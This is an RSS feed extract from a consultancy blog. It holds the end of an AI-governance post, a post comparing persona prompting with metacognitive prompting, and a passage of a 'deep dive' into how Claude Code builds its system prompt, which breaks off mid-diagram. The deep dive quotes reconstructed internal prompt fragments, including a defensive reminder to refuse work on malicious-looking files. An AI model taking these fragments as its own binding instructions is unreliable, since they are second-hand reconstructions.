<p>Every technology adoption needs brakes. But the purpose of brakes is not to stop the car; it&rsquo;s to let it go faster. You can only put your foot on the accelerator once you&rsquo;re confident you&rsquo;re safe. AI governance is the same. With too many rules nobody uses it; with none, a major incident eventually breaks. So you need &ldquo;minimum viable governance.&rdquo;</p>
<p>We only need to observe three things.
First, isolating sensitive data. Personal information, authentication keys, and unreleased core technology are never entered into external AI. This should be blocked or filtered at the tool level.
Second, human-in-the-loop. Anything AI generates (code and documents especially) must pass human review before it can ship. &ldquo;The AI wrote it&rdquo; is no absolution, and final responsibility always rests with the reviewer.
Third, no blind trust. AI output should be cross-verified on the premise that it can always be wrong.</p>
<p>As long as these three guardrails are clear, people should be free to run around as they like inside that fence. Vague rules cause people to shrink back, but clear safeguards create speed.</p>
<hr>
<h2 id="10-execution-stages-from-validation-to-refinement">10. Execution Stages: From Validation to Refinement</h2>
<p>Successful AI adoption isn&rsquo;t an event you proclaim with &ldquo;starting today!&rdquo; It&rsquo;s an evolutionary process that grows like a living thing. We should approach it in three stages: verify, spread, embed.</p>
<ol>
<li>
<p>The verification stage (the pilot): Rolling it out everywhere is risky. Select one early-adopter team that is open to change and support it intensively. The goal is to create one solid success case proving that &ldquo;AI produces results.&rdquo; This small win becomes the spark for spreading it everywhere.</p>
</li>
<li>
<p>The spreading stage (the rollover): Based on the pilot team&rsquo;s success case, build role-specific playbooks and start training. If you open up the dashboard and show the data at this point, the early majority who have been watching from the sidelines start to move.</p>
</li>
<li>
<p>The embedding stage (the standard): The stage where using AI is everyday practice rather than a special event. AI training is included in the onboarding process, and AI capability is reflected in the evaluation system.</p>
</li>
</ol>
<p>What matters is not skipping stages. Spread without verification only creates confusion, and trying to embed without having spread only invites pushback. More important than speed is an unwavering sense of direction. Don&rsquo;t ask &ldquo;have we adopted it?&rdquo; Ask &ldquo;is evidence accumulating?&rdquo;</p>
<hr>
<h2 id="in-closing-leaderships-role-is-creating-the-environment">In Closing: Leadership&rsquo;s Role Is &ldquo;Creating the Environment&rdquo;</h2>
<p>In an AI adoption project, the leader&rsquo;s role is closer to a gardener than a commander. Just as you can&rsquo;t make a plant grow by pulling on it, you can&rsquo;t produce results by forcing employees to &ldquo;use AI.&rdquo; What leaders need to do is prepare the soil.</p>
<p>Put easy-to-use tools in people&rsquo;s hands (infrastructure), show them how to use them (training), shine sunlight on those who use them well (rewards), and put up a fence so things can grow without worrying about weeds or pests (safety). Create this environment and the organization will learn and evolve on its own.</p>
<p>AI is not a simple automation tool. It&rsquo;s a catalyst that can transform an organization&rsquo;s learning process from the ground up. Whether you turn this change into a cost or into an overwhelming competitive advantage depends entirely on organizational design. So let&rsquo;s change the question. Not &ldquo;which AI should we buy?&rdquo; but &ldquo;what kind of organization should we build?&rdquo;</p>
]]></content>
        </item>
        
        <item>
            <title>LLM Prompting: Persona Assignment vs. Metacognition</title>
            <link>https://roboco.io/en/posts/persona-vs-metacognition/</link>
            <pubDate>Thu, 27 Nov 2025 07:57:49 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/persona-vs-metacognition/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;On walking the tightrope between confidence and caution&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;What is the difference between telling a model &amp;ldquo;answer like a senior engineer&amp;rdquo; and telling it &amp;ldquo;first think about what you are, then answer&amp;rdquo;? On the surface they look similar, but internally two completely different mechanisms are at work. This post examines the mathematical difference between the two approaches and what it means in practice.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>On walking the tightrope between confidence and caution</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<h2 id="introduction">Introduction</h2>
<p>What is the difference between telling a model &ldquo;answer like a senior engineer&rdquo; and telling it &ldquo;first think about what you are, then answer&rdquo;? On the surface they look similar, but internally two completely different mechanisms are at work. This post examines the mathematical difference between the two approaches and what it means in practice.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Persona assignment steers the model&rsquo;s output distribution toward a particular role, but that role never becomes an explicit constraint.</li>
<li>The metacognitive approach makes the model generate a self-assessment as tokens first, which then constrains the subsequent answer toward greater caution and consistency.</li>
<li>Use a persona when you need a confident expert tone; use the metacognitive approach when acknowledging uncertainty and limitations matters.</li>
</ul>
<h2 id="1-direct-role-assignment">1. Direct Role Assignment</h2>
<p>The first approach is the prompting technique we use most often. You assign a role directly, as in &ldquo;answer as a senior engineer&rdquo; or &ldquo;you are a developer with ten years of experience.&rdquo;</p>
<p>Expressed mathematically:</p>
<pre tabindex="0"><code>P(response | prompt, &#34;role = senior_engineer&#34;)
</code></pre><p>Here is how the model behaves under this approach:</p>
<p><strong>First, immediate pattern matching occurs.</strong> The model instantly activates text patterns associated with &ldquo;senior engineer&rdquo; from its training data. Patterns learned from technical blogs, highly upvoted Stack Overflow answers, and technical documentation are reflected directly in the output probabilities.</p>
<p><strong>Second, the intermediate reasoning step is skipped.</strong> Without any meta-level thought such as &ldquo;am I really a senior engineer?&rdquo; or &ldquo;how should a senior engineer answer this question?&rdquo;, the model produces the tone and content of that role right away.</p>
<p><strong>Third, steering happens directly in latent space.</strong> The role instruction acts as a kind of &ldquo;steering vector&rdquo; on the model&rsquo;s latent representation. The effect is to push the entire output distribution in a particular direction.</p>
<h2 id="2-the-metacognitive-approach-self-assessment-then-response">2. The Metacognitive Approach (Self-Assessment Then Response)</h2>
<p>The second approach has the model first define what it is, and then respond on the basis of that definition.</p>
<p>Mathematically, this is a two-stage conditional probability:</p>
<pre tabindex="0"><code>P(self-assessment | prompt) → P(response | prompt, self-assessment)
</code></pre><p>The process unfolds like this:</p>
<p><strong>Stage 1: Generating the self-assessment.</strong> The model produces a self-description along the lines of &ldquo;I am Claude. As an AI assistant I have no actual work experience, but I have learned a broad range of technical knowledge&hellip;&rdquo;</p>
<p><strong>Stage 2: Incorporation into the context window.</strong> Those self-description tokens become part of the context window. This is the crux of it.</p>
<p><strong>Stage 3: Constrained response generation.</strong> Every subsequent token is conditioned on the self-description generated earlier. Once the model has stated &ldquo;I am an AI with no real experience,&rdquo; the probability that it later says &ldquo;in my experience&hellip;&rdquo; drops sharply.</p>
<h2 id="3-the-core-difference-abstract-role-vs-serialized-constraint">3. The Core Difference: Abstract Role vs. Serialized Constraint</h2>
<p>The decisive difference between the two approaches lies in <strong>where the constraint originates</strong>.</p>
<p>With persona assignment, &ldquo;senior engineer&rdquo; operates only as an abstract concept. The model &ldquo;performs&rdquo; the role, but no explicit statement about what it actually is exists in the context. The model can therefore confidently say &ldquo;in my experience&hellip;&rdquo;</p>
<p>With the metacognitive approach, by contrast, the statement &ldquo;I am an AI and I have no real experience&rdquo; exists in the context as an <strong>actual token sequence</strong>. Language models are trained, at their core, to generate a next token consistent with the tokens that came before. Once the model has spelled out its own limitations, the probability of generating a claim that contradicts them is mathematically lower.</p>
<p>This is not a mere difference in nuance. It is the fundamental difference of <strong>the constraint moving from latent space into token space</strong>.</p>
<h2 id="4-differences-in-actual-output">4. Differences in Actual Output</h2>
<p>How does this theoretical difference show up in real output?</p>
<h3 id="output-characteristics-of-persona-assignment">Output characteristics of persona assignment</h3>
<ul>
<li>Confident, assertive tone</li>
<li>Frequent expressions such as &ldquo;in my experience&rdquo; and &ldquo;in practice&rdquo;</li>
<li>High conviction in technical claims</li>
<li>No mention of being an AI, or minimal mention</li>
</ul>
<h3 id="output-characteristics-of-the-metacognitive-approach">Output characteristics of the metacognitive approach</h3>
<ul>
<li>Careful tone that avoids categorical statements</li>
<li>Expressions such as &ldquo;I have no direct experience, but&hellip;&rdquo; and &ldquo;what is generally understood is&hellip;&rdquo;</li>
<li>Explicit acknowledgment of its limitations as an AI</li>
<li>Candid expression of uncertainty</li>
</ul>
<h2 id="5-a-practical-guide">5. A Practical Guide</h2>
<p>So when should you use which?</p>
<h3 id="when-persona-assignment-fits">When persona assignment fits</h3>
<p><strong>Creative content generation</strong> is where persona assignment works well. For marketing copy, storytelling, or writing documents in a particular voice, having the model keep mentioning its own limitations only gets in the way.</p>
<p>It is also useful for <strong>rapid prototyping</strong>. When exploring ideas quickly, receiving confident suggestions can be more efficient than getting a careful caveat attached every time.</p>
<p>It suits <strong>role-play-based learning</strong>, where you want to experience a particular point of view — for example, a request like &ldquo;evaluate this product from a customer&rsquo;s perspective.&rdquo;</p>
<h3 id="when-the-metacognitive-approach-fits">When the metacognitive approach fits</h3>
<p><strong>Technical questions where accuracy matters</strong> are better served by the metacognitive approach. When the model recognizes its own limitations and flags the uncertain parts, it is easier for the user to identify what needs additional verification.</p>
<p>It is also recommended for <strong>decision support</strong>. When making an important decision, advice with uncertainty made explicit is safer than overconfident advice.</p>
<p>It suits <strong>learning and educational purposes</strong>. Responses with limitations spelled out are more valuable pedagogically, because they discourage learners from accepting an AI&rsquo;s answers uncritically.</p>
<h2 id="6-a-hybrid-approach">6. A Hybrid Approach</h2>
<p>In practice you can combine the two. For example:</p>
<pre tabindex="0"><code>Answer from the perspective of a senior backend engineer, but keep in mind
that as an AI you have no actual production experience, and make the
uncertain parts explicit.
</code></pre><p>This approach draws on the expertise of the persona and the caution of metacognition at the same time. The model answers with the tone and depth of a senior engineer while hedging appropriately where it cannot be certain.</p>
<h2 id="closing">Closing</h2>
<p>In prompt engineering, &ldquo;how you assign a role&rdquo; matters as much as &ldquo;which role you assign.&rdquo; Direct persona assignment and metacognitive prompting look subtly different on the surface, but inside the model they produce entirely different probability distributions.</p>
<p>To summarize the key points:</p>
<ul>
<li><strong>Persona assignment</strong> steers the output distribution directly in latent space</li>
<li><strong>The metacognitive approach</strong> creates an explicit constraint in token space</li>
<li>The former elicits confident output, the latter cautious output</li>
<li>It is best to choose — or combine — the approaches according to your purpose</li>
</ul>
<p>To make good use of a language model as a tool, it helps to understand how that tool works internally. I hope this post serves as one reference point when you design your prompting strategy.</p>
<p><em>This post is based on the discussion in <a href="https://claude.ai/share/85bfe01d-cf37-4169-8d4b-201ad2da814d">a conversation between Claude and JonCygnus</a>.</em></p>
]]></content>
        </item>
        
        <item>
            <title>Claude Code Deep Dive: How Is Claude Code Actually Built?</title>
            <link>https://roboco.io/en/posts/claude-code-deep-dive/</link>
            <pubDate>Tue, 25 Nov 2025 10:05:54 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/claude-code-deep-dive/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;The world of meticulous prompt engineering hidden behind the &amp;ldquo;it just handles it for you&amp;rdquo; experience&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Developers trying Claude Code for the first time often wonder, &amp;ldquo;How does it understand the context this well?&amp;rdquo; Claude Code doesn&amp;rsquo;t behave like a simple coding assistant; it acts like a colleague who has been on the project for a long time. The secret lies in &lt;strong&gt;a sophisticated system architecture in which more than 40 prompt fragments are assembled dynamically&lt;/strong&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>The world of meticulous prompt engineering hidden behind the &ldquo;it just handles it for you&rdquo; experience</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Developers trying Claude Code for the first time often wonder, &ldquo;How does it understand the context this well?&rdquo; Claude Code doesn&rsquo;t behave like a simple coding assistant; it acts like a colleague who has been on the project for a long time. The secret lies in <strong>a sophisticated system architecture in which more than 40 prompt fragments are assembled dynamically</strong>.</p>
<p>This article takes an in-depth look at how Claude Code uses CLAUDE.md and your codebase to instruct the LLM, and how the system prompt is generated in real time.</p>
<p>It is based on API monitoring analysis through a LiteLLM proxy and on publicly available system prompt material; the references I consulted are listed at the end.</p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Claude Code&rsquo;s strength comes not from one giant prompt but from a prompt system that is assembled to fit the situation.</li>
<li>CLAUDE.md, system reminders, sub-agents, and permission validation each play a role in raising context quality and safety.</li>
<li>The key lesson is that you have to go beyond writing good prompts and design context and workflow as architecture.</li>
</ul>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ol>
<li><a href="/en/posts/claude-code-deep-dive/#1-the-overall-architecture-flow">The Overall Architecture Flow</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#2-dynamic-system-prompt-composition">Dynamic System Prompt Composition</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#3-how-claudemd-is-used">How CLAUDE.md Is Used</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#4-the-system-reminder-injection-pattern">The System Reminder Injection Pattern</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#5-sub-agent-architecture">Sub-Agent Architecture</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#6-security-and-permission-validation-flow">Security and Permission Validation Flow</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#7-context-engineering-strategies">Context Engineering Strategies</a></li>
<li><a href="/en/posts/claude-code-deep-dive/#key-insights">Key Insights</a></li>
</ol>
<hr>
<h2 id="1-the-overall-architecture-flow">1. The Overall Architecture Flow</h2>
<p>What happens when you type a command into Claude Code? Your message is not simply sent off to the API. In between, there is a process of <strong>meticulous context gathering, prompt building, and preprocessing</strong>.</p>
<pre class="mermaid">graph TB
    Start[User enters command] --> Init[Session initialization]
    Init --> LoadContext[Context loading]
    
    subgraph "Context Gathering"
        LoadContext --> ReadCLAUDE[Read CLAUDE.md]
        LoadContext --> ReadCode[Analyze codebase]
        LoadContext --> ReadGit[Check Git status]
        LoadContext --> ReadEnv[Gather environment info]
    end
    
    subgraph "Prompt Generation"
        ReadCLAUDE --> BuildPrompt[Build system prompt]
        ReadCode --> BuildPrompt
        ReadGit --> BuildPrompt
        ReadEnv --> BuildPrompt
        
        BuildPrompt --> CorePrompt[Core system prompt]
        BuildPrompt --> ToolDesc[Add tool descriptions<br/>17 built-in tools]
        BuildPrompt --> ContextPrompt[Context prompt<br/>CLAUDE.md contents]
        BuildPrompt --> Reminders[Add system reminders]
    end
    
    subgraph "Request Preprocessing"
        CorePrompt --> PreProcess[Request preprocessing]
        ToolDesc --> PreProcess
        ContextPrompt --> PreProcess
        Reminders --> PreProcess
        
        PreProcess --> TitleGen[Generate conversation title]
        PreProcess --> TopicCheck[Detect topic change]
        PreProcess --> ConvSummary[Summarize conversation]
    end
    
    PreProcess --> SendAPI[Send API request]
    SendAPI --> Response[Claude response]
    
    subgraph "Response Handling"
        Response --> ToolCall{Tool call?}
        ToolCall -->|Yes| ExecuteTool[Execute tool]
        ToolCall -->|No| Output[Output to user]
        
        ExecuteTool --> BashCheck{Bash command?}
        BashCheck -->|Yes| CmdCheck[Command injection check]
        BashCheck -->|No| ToolExec[Execute tool]
        
        CmdCheck --> Permission{Permission needed?}
        Permission -->|Yes| AskUser[Request user approval]
        Permission -->|No| ToolExec
        AskUser --> ToolExec
        
        ToolExec --> InjectReminder[Inject reminder into result]
        InjectReminder --> SendBack[Return result to Claude]
        SendBack --> Response
    end
    
    Output --> End[Done]
</pre>
<h3 id="walking-through-the-flow">Walking through the flow</h3>
<p>The moment a user types a command in the terminal, Claude Code fires up <strong>a meticulous four-stage pipeline</strong>.</p>
<p><strong>Stage one: context gathering</strong></p>
<p>Claude Code first collects all the information about the current working environment. It reads the <code>CLAUDE.md</code> file at the project root to learn the project structure, build commands, and coding conventions. At the same time, it gathers Git status (current branch, recent commits, changed files) along with environment information such as the operating system and installed tools. All of this is the foundation that makes Claude behave &ldquo;as if it understands the project.&rdquo;</p>
<p><strong>Stage two: prompt building</strong></p>
<p>Based on the gathered information, the system prompt is assembled dynamically. The key is <strong>conditional composition</strong>. Not every prompt fragment is always included — only what the current situation requires is selectively pulled in. If Plan mode is active, for example, the Plan-related prompt is added; if an MCP server is configured, the MCP CLI prompt is included.</p>
<p><strong>Stage three: request preprocessing</strong></p>
<p>Before sending the API request, Claude Code performs a few &ldquo;preparatory tasks.&rdquo; It detects whether the current conversation is on a new topic, generates a conversation title, and, for long conversations, summarizes what came before. These steps involve separate LLM calls of their own, each using a specialized prompt.</p>
<p><strong>Stage four: response handling</strong></p>
<p>When Claude&rsquo;s response includes a tool call, that tool is executed and <strong>a system reminder is injected</strong> into the result. This reminder acts as a &ldquo;compass&rdquo; that keeps Claude from drifting away from the original goal. For Bash commands in particular, a dedicated agent inspects the command for injection attacks before it runs.</p>
<hr>
<h2 id="2-dynamic-system-prompt-composition">2. Dynamic System Prompt Composition</h2>
<p>Claude Code&rsquo;s system prompt is not a single string. <strong>Static components, dynamic components, and conditional components</strong> are assembled like Lego bricks to form the final prompt.</p>
<pre class="mermaid">graph LR
    subgraph "Static Components"
        A[Core System Prompt<br/>2601 tokens]
        B[Tone & Style<br/>Guidelines]
        C[Security Rules<br/>& Restrictions]
    end
    
    subgraph "Dynamic Components"
        D[CLAUDE.md<br/>project context]
        E[Git Status<br/>branch, commit info]
        F[Environment Info<br/>OS, tools, paths]
        G[Todo List<br/>current task state]
    end
    
    subgraph "Conditional Components"
        H[Learning Mode<br/>1042 tokens]
        I[Plan Mode<br/>480 tokens]
        J[MCP CLI<br/>1357 tokens]
    end
    
    subgraph "Tool Descriptions"
        K[Bash: 1074 tokens]
        L[Write: 159 tokens]
        M[Read: 439 tokens]
        N[TodoWrite: 2167 tokens]
        O[Task: 1055 tokens]
        P[+12 more tools]
    end
    
    A --> Merge[System prompt<br/>dynamic merge]
    B --> Merge
    C --> Merge
    D --> Merge
    E --> Merge
    F --> Merge
    G --> Merge
    H -.->|if enabled| Merge
    I -.->|if active| Merge
    J -.->|if configured| Merge
    K --> Merge
    L --> Merge
    M --> Merge
    N --> Merge
    O --> Merge
    P --> Merge
    
    Merge --> Final[Final system prompt<br/>10,000+ tokens]
    
</pre>
<h3 id="walking-through-the-flow-1">Walking through the flow</h3>
<p><strong>Static components: the unchanging foundation</strong></p>
<p>These are the prompts shared by every Claude Code session. The Core system prompt, made up of 2,601 tokens, defines Claude Code&rsquo;s identity, its baseline behavioral rules, and its response style. Beginning with &ldquo;You are Claude Code, Anthropic&rsquo;s official CLI for Claude&hellip;&rdquo;, this prompt forms the basis for how Claude should behave as a coding assistant.</p>
<p>Security rules also belong to the static components. Prohibitions on writing malicious code, restrictions on generating URLs, and guidelines for sensitive operations all fall into this category.</p>
<p><strong>Dynamic components: context that changes in real time</strong></p>
<p>This is where Claude Code&rsquo;s real &ldquo;magic&rdquo; happens. The contents of the <code>CLAUDE.md</code> file differ from project to project. A React project will contain component structure and a style guide; a Python backend project will contain API endpoints and testing instructions. Because this information is included in the system prompt, Claude can act &ldquo;as if it knows this project.&rdquo;</p>
<p>Git status information is injected dynamically as well. Because Claude knows the current branch, the recent commits, and which files have changed, it can naturally handle a request like &ldquo;open a PR against the main branch.&rdquo;</p>
<p><strong>Conditional components: activated only when needed</strong></p>
<p>Learning Mode, Plan Mode, MCP CLI, and the like are included only when the user has activated that particular mode. This is a design choice for <strong>token efficiency</strong>: no precious context window is wasted describing features you aren&rsquo;t using.</p>
<p><strong>Tool descriptions: surprisingly detailed guides</strong></p>
<p>A description of each of the 17 built-in tools is included in the system prompt. The <code>TodoWrite</code> (2,167 tokens) and <code>Bash</code> (1,074 tokens) tools in particular carry very detailed usage guides. These tool descriptions alone add up to more than 8,000 tokens.</p>
<p>The fully assembled system prompt can reach <strong>more than 10,000 tokens</strong>. And all of it is dynamically reconstructed to suit the situation, every session.</p>
<hr>
<h2 id="3-how-claudemd-is-used">3. How CLAUDE.md Is Used</h2>
<p><code>CLAUDE.md</code> occupies a special place in the Claude Code ecosystem. This file is the project&rsquo;s &ldquo;brain,&rdquo; supplying all the context Claude needs to understand the codebase.</p>
<pre class="mermaid">sequenceDiagram
    participant U as User
    participant CC as Claude Code
    participant Gen as CLAUDE.md Generator<br/>(384 tokens)
    participant FS as File System
    participant API as Anthropic API
    
    Note over U,API: Initial setup phase
    U->>CC: /init command or first run
    CC->>Gen: Request codebase analysis
    Gen->>FS: Explore project files
    FS-->>Gen: Return file structure
    Gen->>Gen: Analyze and generate summary
    Gen-->>CC: Generate CLAUDE.md contents
    CC->>FS: Save CLAUDE.md
    
    Note over U,API: Session execution phase
    U->>CC: Request a coding task
    CC->>FS: Read CLAUDE.md
    FS-->>CC: Project context
    CC->>CC: Build system prompt
    
    Note over CC: CLAUDE.md contents included:<br/>- project structure<br/>- build/test commands<br/>- coding conventions<br/>- architecture info
    
    CC->>API: Request (system prompt + user message)
    API-->>CC: Response
    CC-->>U: Output result
</pre>
<h3 id="walking-through-the-flow-2">Walking through the flow</h3>
<p><strong>Initial setup: the birth of CLAUDE.md</strong></p>
<p>When a user runs the <code>/init</code> command, or starts Claude Code for the first time in a new project, a dedicated Generator Agent is activated. This agent carries a specialized system prompt of 384 tokens and pursues exactly one goal: <strong>analyze the codebase and generate CLAUDE.md</strong>.</p>
<p>The Generator explores the project&rsquo;s file structure and reads configuration files such as <code>package.json</code>, <code>pyproject.toml</code>, and <code>Makefile</code> to work out the build and test commands. It analyzes the code&rsquo;s architectural patterns and summarizes the role of the major directories and files. All of this is saved to <code>CLAUDE.md</code> in structured form.</p>
<p><strong>Session execution: the power of context</strong></p>
<p>From then on, in every Claude Code session, this <code>CLAUDE.md</code> file is automatically included as part of the system prompt. When the user says &ldquo;run the tests,&rdquo; Claude uses the test command it read from CLAUDE.md (<code>npm test</code>, <code>pytest</code>, and so on). When the user says &ldquo;create a new component,&rdquo; it follows the project&rsquo;s style guide and directory structure as specified in CLAUDE.md.</p>
<p>This is the secret behind Claude Code&rsquo;s ability to <strong>behave differently from project to project</strong>. The same &ldquo;run the tests&rdquo; command executes <code>npm test</code> in a React project and <code>python manage.py test</code> in a Django project — thanks to CLAUDE.md.</p>
<p><strong>An example CLAUDE.md structure</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># Project overview</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">This project is a React-based dashboard application.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Project structure</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">src/components</span>: <span style="color:#ae81ff">reusable UI components</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">src/pages</span>: <span style="color:#ae81ff">page-level components</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">src/hooks</span>: <span style="color:#ae81ff">custom React hooks</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">src/services</span>: <span style="color:#ae81ff">API communication logic</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Development commands</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">dev server</span>: <span style="color:#ae81ff">npm run dev</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">build</span>: <span style="color:#ae81ff">npm run build</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">test</span>: <span style="color:#ae81ff">npm test -- --watch</span>
</span></span><span style="display:flex;"><span>- <span style="color:#f92672">lint</span>: <span style="color:#ae81ff">npm run lint</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Coding conventions</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Use TypeScript strict mode</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Write components as function components</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Use Tailwind CSS for styling</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Use Zustand for state management</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Important notes</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Store API keys in .env.local</span>
</span></span><span style="display:flex;"><span>- <span style="color:#ae81ff">Lint must pass before opening a PR</span>
</span></span></code></pre></div><hr>
<h2 id="4-the-system-reminder-injection-pattern">4. The System Reminder Injection Pattern</h2>
<p>One of Claude Code&rsquo;s most distinctive traits is its extensive use of the <code>&lt;system-reminder&gt;</code> tag. This tag is <strong>the core mechanism for preventing drift</strong>, keeping Claude from losing sight of its original goal even in long conversations.</p>
<pre class="mermaid">graph TB
    subgraph "User Message"
        UM1[User input]
        SR1["&lt;system-reminder&gt;<br/>key instructions repeated<br/>&lt;/system-reminder&gt;"]
        UM1 --> SR1
    end
    
    subgraph "Tool Execution"
        TE[Tool execution request]
        SR2["&lt;system-reminder&gt;<br/>tool call information<br/>&lt;/system-reminder&gt;"]
        TE --> SR2
    end
    
    subgraph "Tool Result"
        TR[Tool execution result]
        SR3["&lt;system-reminder&gt;<br/>conditional reminder<br/>- suggest using TodoWrite<br/>- security warning<br/>- task status<br/>&lt;/system-reminder&gt;"]
        TR --> SR3
    end
    
    subgraph "Conditional Injection"
        CI{Check conditions}
        CI -->|No todos & complex task| AddTodo["Suggest using TodoWrite"]
        CI -->|Security risk detected| AddSecurity["Security warning"]
        CI -->|Long output| AddSummary["Suggest a summary"]
    end
    
    SR1 --> API[API request]
    SR2 --> API
    SR3 --> API
    AddTodo --> SR3
    AddSecurity --> SR3
    AddSummary --> SR3
    
    API --> Claude[Claude processing]
    
    Note1[System reminders are<br/>injected at every stage<br/>to prevent<br/>drift]
    
</pre>
<h3 id="walking-through-the-flow-3">Walking through the flow</h3>
<p><strong>Why are system reminders necessary?</strong></p>
<p>One of the fundamental limitations of LLMs is the tendency to <strong>&ldquo;forget&rdquo; early instructions as the context grows longer</strong>. After ten tool calls and long stretches of code output, the behavioral rules laid down in the system prompt can fade.</p>
<p>Claude Code solves this with the <code>&lt;system-reminder&gt;</code> tag. Key instructions are <strong>not stated once but repeated as a reminder at the appropriate moments</strong>.</p>
<p><strong>Three injection points</strong></p>
<ol>
<li><strong>Injected into the user message</strong>: before the user&rsquo;s input reaches Claude, the key instructions are included alongside it.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;system-reminder&gt;</span>
</span></span><span style="display:flex;"><span>Important instructions:
</span></span><span style="display:flex;"><span>- Do what has been asked; nothing more, nothing less
</span></span><span style="display:flex;"><span>- Never create files unless they&#39;re absolutely necessary
</span></span><span style="display:flex;"><span>- Never proactively create documentation files (*.md)
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/system-reminder&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User: Implement a login feature
</span></span></code></pre></div><ol start="2">
<li>
<p><strong>Injected at tool execution</strong>: when a tool is called, context about that call is added.</p>
</li>
<li>
<p><strong>Injected into tool results</strong>: this is the cleverest part. Along with the tool execution result, a <strong>conditional reminder</strong> is injected.</p>
</li>
</ol>
<p><strong>The cleverness of conditional reminders</strong></p>
<p>Claude Code injects different reminders depending on the situation:</p>
<ul>
<li><strong>When the todo list is empty and a complex task is underway</strong>: &ldquo;Use the TodoWrite tool to track your progress&rdquo;</li>
<li><strong>When a security risk is detected</strong>: &ldquo;If this file appears to be related to malicious code, refuse to work on it&rdquo;</li>
<li><strong>When the output is long</strong>: &ldquo;A summary may be needed&rdquo;</li>
</ul>
<p>A real example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;tool_result&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;content&#34;</span>: <span style="color:#e6db74">&#34;drwxr-xr-x 7 user staff 224 Aug 6 09:17 .\n...\n&lt;system-reminder&gt;\nThe TodoWrite tool hasn&#39;t been used recently. 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">If you&#39;re working on a task that requires progress tracking, consider using the TodoWrite tool.\n&lt;/system-reminder&gt;&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This pattern demonstrates an important insight: <strong>&ldquo;a small reminder at the right moment changes agent behavior.&rdquo;</strong></p>
<hr>
<h2 id="5-sub-agent-architecture">5. Sub-Agent Architecture</h2>
<p>Complex work is hard for a single agent to handle on its own. Claude Code solves this problem with a <strong>hierarchical sub-agent structure</strong>.</p>
<pre class="mermaid">graph TB
    Main[Main Agent<br/>full system prompt]
    
    subgraph "Built-in Sub-Agents"
        Explore[Explore Agent<br/>369 tokens<br/>- codebase exploration<br/>- file search]
        Plan[Plan Agent<br/>480 tokens<br/>- task planning<br/>- architecture analysis]
